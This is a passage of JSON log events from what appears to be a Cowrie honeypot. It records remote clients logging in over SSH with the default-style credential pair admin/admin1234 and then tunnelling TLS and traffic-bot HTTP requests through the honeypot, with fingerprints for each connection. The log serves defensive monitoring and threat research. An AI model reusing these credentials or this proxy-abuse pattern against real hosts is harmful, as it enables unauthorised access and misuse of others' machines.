mOUX0n0zUA5agkxGlKB9dCNwmuplDHV%2FsuEZk2spw6lkm6WA%2FCrrhAh%2BFLCwZn7Xr05b4VA4MHQokptRx3HqgZHDMio8KxTKoMEhq5jBLx1YdLjDCIM3d%2FLfVeL5vnM05Q%2FIpLCC%2F7RO8LKs9BNJBt1suEc%2Fw9QDZqjDixoyp5oBqGXUKaWW0M6UoRUTfCwi8BoDvuuw1jFH4kzvOQxjs4S0WFLLGWMrT%2B7bvA1SBBDr%2F5Q%2F8F%2BylhZA%2Fxw0jWARLeCy6gfqE0El6kByxD81%2FcfF0%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:42.489495Z","src_ip":"113.164.152.20","session":"005ce0f251be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:42.493112Z","src_ip":"113.164.152.20","session":"005ce0f251be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03g\\xb4\\xc7\\x11r\\xe3:\\x14\\x17\\xe9\\xe7&\\x8au;D\\x17\\xf4\\xd4\\xbd\\x9d\\xfchMO{\\xeekr\\x07R' \\xc7\\xa0\\x80\\xd9\\x82\\x1c4s\\xe39N]\\xd7%/\\xc1\\xbe\\x06\\xf2\\x19\\xa7\\x11\\xb1\\x17}\\x17\\x03\\xe4\\xa2$\\xa1\\x11\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 u\\x8a4@\\xd1\\x11*\\xbe\\x91\\xb4\\xdf\\x1e\\x9a\\xcf\\xb2\\x85\\xf5\\x02\\xc0\\x0e\\xf1z\\xe7\\xb2\\xfdJ\\xd4\\xadND-]\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03g\\xb4\\xc7\\x11r\\xe3:\\x14\\x17\\xe9\\xe7&\\x8au;D\\x17\\xf4\\xd4\\xbd\\x9d\\xfchMO{\\xeekr\\x07R' \\xc7\\xa0\\x80\\xd9\\x82\\x1c4s\\xe39N]\\xd7%/\\xc1\\xbe\\x06\\xf2\\x19\\xa7\\x11\\xb1\\x17}\\x17\\x03\\xe4\\xa2$\\xa1\\x11\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 u\\x8a4@\\xd1\\x11*\\xbe\\x91\\xb4\\xdf\\x1e\\x9a\\xcf\\xb2\\x85\\xf5\\x02\\xc0\\x0e\\xf1z\\xe7\\xb2\\xfdJ\\xd4\\xadND-]\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:42.495644Z","src_ip":"113.164.152.20","session":"005ce0f251be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:42.782900Z","session":"005ce0f251be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:43.066558Z","src_ip":"113.164.152.20","session":"005ce0f251be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03=6\\xda\\xa4\\xc6\\x9f\\x95I\\xa7\\xbd|{\\x18\\x178\\x849\\xfd\\xa8Y\\xc9iRw\\xac\\x15\\xb0?\\xa5\\x02\\xa0\\x99 \"\\x15+Q\\xab*td\\xd6\\x16n~I\\xfev\\xc0Te76\\x13\\xe1\\xc5\\xean\\xe3\\'Fr\\x86(\\xc9\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x95f,\\xd7\\x87\\xd3)V\\x0cY\\xb6\\x91S\\xa8\\xf3\\x06j\\xe7\\xe8?J\\xd9\\xc8\\xb4Ti\\xbd\\x90b\\xd4\\xa4+\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03=6\\xda\\xa4\\xc6\\x9f\\x95I\\xa7\\xbd|{\\x18\\x178\\x849\\xfd\\xa8Y\\xc9iRw\\xac\\x15\\xb0?\\xa5\\x02\\xa0\\x99 \"\\x15+Q\\xab*td\\xd6\\x16n~I\\xfev\\xc0Te76\\x13\\xe1\\xc5\\xean\\xe3\\'Fr\\x86(\\xc9\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x95f,\\xd7\\x87\\xd3)V\\x0cY\\xb6\\x91S\\xa8\\xf3\\x06j\\xe7\\xe8?J\\xd9\\xc8\\xb4Ti\\xbd\\x90b\\xd4\\xa4+\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:43.069665Z","src_ip":"113.164.152.20","session":"005ce0f251be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":51252,"dst_ip":"159.203.135.109","dst_port":23,"session":"483496ca6c74","protocol":"telnet","message":"New connection: 103.249.87.183:51252 (159.203.135.109:23) [session: 483496ca6c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:43.539619Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:44.796620Z","src_ip":"113.164.152.20","session":"005ce0f251be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":54577,"dst_ip":"10.17.0.5","dst_port":22,"session":"942877d3e64d","protocol":"ssh","message":"New connection: 113.164.152.20:54577 (10.17.0.5:22) [session: 942877d3e64d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:54.971214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:54.975886Z","src_ip":"113.164.152.20","session":"942877d3e64d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:55.276852Z","src_ip":"113.164.152.20","session":"942877d3e64d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:56.440656Z","src_ip":"113.164.152.20","session":"942877d3e64d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:56.828034Z","session":"942877d3e64d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:56.977284Z","session":"942877d3e64d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:57.454063Z","src_ip":"113.164.152.20","session":"942877d3e64d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/68.0 Mobile/14B100 Safari/605.1.15\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1174\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=YkxOS3JVdUtjTik5SEF5dw%3D%3DPvrI%2BIHaAKv4MJ2Y9zQj3rPorgYYDDYie%2B1j3OsMWPIAcC2HPl87t5geriuCPpQgOJW0NLrHsZwyciXkxk60FDhXpElvKUftpzQpuq9ftMMmBbSpNLfXEGZBEgyFPJeGsEkksIYFb8Hhwb8vbHK%2BOqSFPbE%2BIMmJFYHUWx1A99Q5SsypLElXvnmdEQB9lUex%2FvbHeZgOwYJmTY5ysuR9LkN6YJPMZDzQo%2BdPS%2FtEmIS%2FbkzOlKRZh%2BYvz8RbhVLecS8NDfVNtSM49cnZnDDrxznX3thB6sefaPGHIBA9MkFWdjnjgb73885d%2FUiuY3gxTNDR6SRBy30UhjZljp9qyTzZ35W9JbQYOKKBw7fH%2FG%2FxwHL7aF6To%2BTHrxL70KO3ZxWhMqG6XvD8cozoo4K7hLsXKEdYrPeHU1rXThXeC3oa1sEzbPQ0AHduzwuclNHMqdYphAgwDJlMMh8MPtMSvE5RJEb8SdQI3sl%2FWHaFIEPOPcitDaeuAwxu4xP5ASPp8dvKcwlY4Ny6oWu5%2FswyRNK%2F5jhbT9lasY7nfWVocQJJu0faXNQd3MFDwUk%2Fnpebn%2B2DeVb%2FNLAgTwMz0rOu%2FYDZgln7Iu6GZXLzHSpl6YgHc6z60ZUiWw7K%2FVUt08Ny993lE0CCrxZVqXQXSLzWfkrGKrJLQg2ibtWTpzj6s2mJvYQE3eWho%2FCozk%2BikrX9xA0KKuLn3w00cdw4XYfjJsxABRIofIV%2F4jH%2FiI1wo31Pc8RvDpm%2FzQvd9R0MD7iyKjdcTwuLD6GLtjSeTj7BQDSKR5nyw%2BXqzbvkSGIuVhxU63Om74ql9m9LIaF7JOlTuCJqZcmFu0qEnPmV%2Bq8YRkE9mQ9%2BrsYHD%2FlwGQks%2FnoHVaQwCMHbCF3R5tm0B7nvdjFsaVZLJfvxcLDh%2B39zouDbsCUFTGBTnTOWTSWMngHsdzFfgY026pBvsZ9E%2BKZhcYKXgBnCpGYdQ2gjOrqGjbka4c6RZ1GwUub%2BUGUInE7VOo9pUSPuzJP%2Bo%2FZtXrdM7ObditxkrJfPAIkTWXJhZgFZC8QaiC9F%2FJTIr0wzhUQ%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/68.0 Mobile/14B100 Safari/605.1.15\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1174\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=YkxOS3JVdUtjTik5SEF5dw%3D%3DPvrI%2BIHaAKv4MJ2Y9zQj3rPorgYYDDYie%2B1j3OsMWPIAcC2HPl87t5geriuCPpQgOJW0NLrHsZwyciXkxk60FDhXpElvKUftpzQpuq9ftMMmBbSpNLfXEGZBEgyFPJeGsEkksIYFb8Hhwb8vbHK%2BOqSFPbE%2BIMmJFYHUWx1A99Q5SsypLElXvnmdEQB9lUex%2FvbHeZgOwYJmTY5ysuR9LkN6YJPMZDzQo%2BdPS%2FtEmIS%2FbkzOlKRZh%2BYvz8RbhVLecS8NDfVNtSM49cnZnDDrxznX3thB6sefaPGHIBA9MkFWdjnjgb73885d%2FUiuY3gxTNDR6SRBy30UhjZljp9qyTzZ35W9JbQYOKKBw7fH%2FG%2FxwHL7aF6To%2BTHrxL70KO3ZxWhMqG6XvD8cozoo4K7hLsXKEdYrPeHU1rXThXeC3oa1sEzbPQ0AHduzwuclNHMqdYphAgwDJlMMh8MPtMSvE5RJEb8SdQI3sl%2FWHaFIEPOPcitDaeuAwxu4xP5ASPp8dvKcwlY4Ny6oWu5%2FswyRNK%2F5jhbT9lasY7nfWVocQJJu0faXNQd3MFDwUk%2Fnpebn%2B2DeVb%2FNLAgTwMz0rOu%2FYDZgln7Iu6GZXLzHSpl6YgHc6z60ZUiWw7K%2FVUt08Ny993lE0CCrxZVqXQXSLzWfkrGKrJLQg2ibtWTpzj6s2mJvYQE3eWho%2FCozk%2BikrX9xA0KKuLn3w00cdw4XYfjJsxABRIofIV%2F4jH%2FiI1wo31Pc8RvDpm%2FzQvd9R0MD7iyKjdcTwuLD6GLtjSeTj7BQDSKR5nyw%2BXqzbvkSGIuVhxU63Om74ql9m9LIaF7JOlTuCJqZcmFu0qEnPmV%2Bq8YRkE9mQ9%2BrsYHD%2FlwGQks%2FnoHVaQwCMHbCF3R5tm0B7nvdjFsaVZLJfvxcLDh%2B39zouDbsCUFTGBTnTOWTSWMngHsdzFfgY026pBvsZ9E%2BKZhcYKXgBnCpGYdQ2gjOrqGjbka4c6RZ1GwUub%2BUGUInE7VOo9pUSPuzJP%2Bo%2FZtXrdM7ObditxkrJfPAIkTWXJhZgFZC8QaiC9F%2FJTIr0wzhUQ%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:57.464840Z","src_ip":"113.164.152.20","session":"942877d3e64d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:57.468003Z","src_ip":"113.164.152.20","session":"942877d3e64d","protocol":"ssh"}
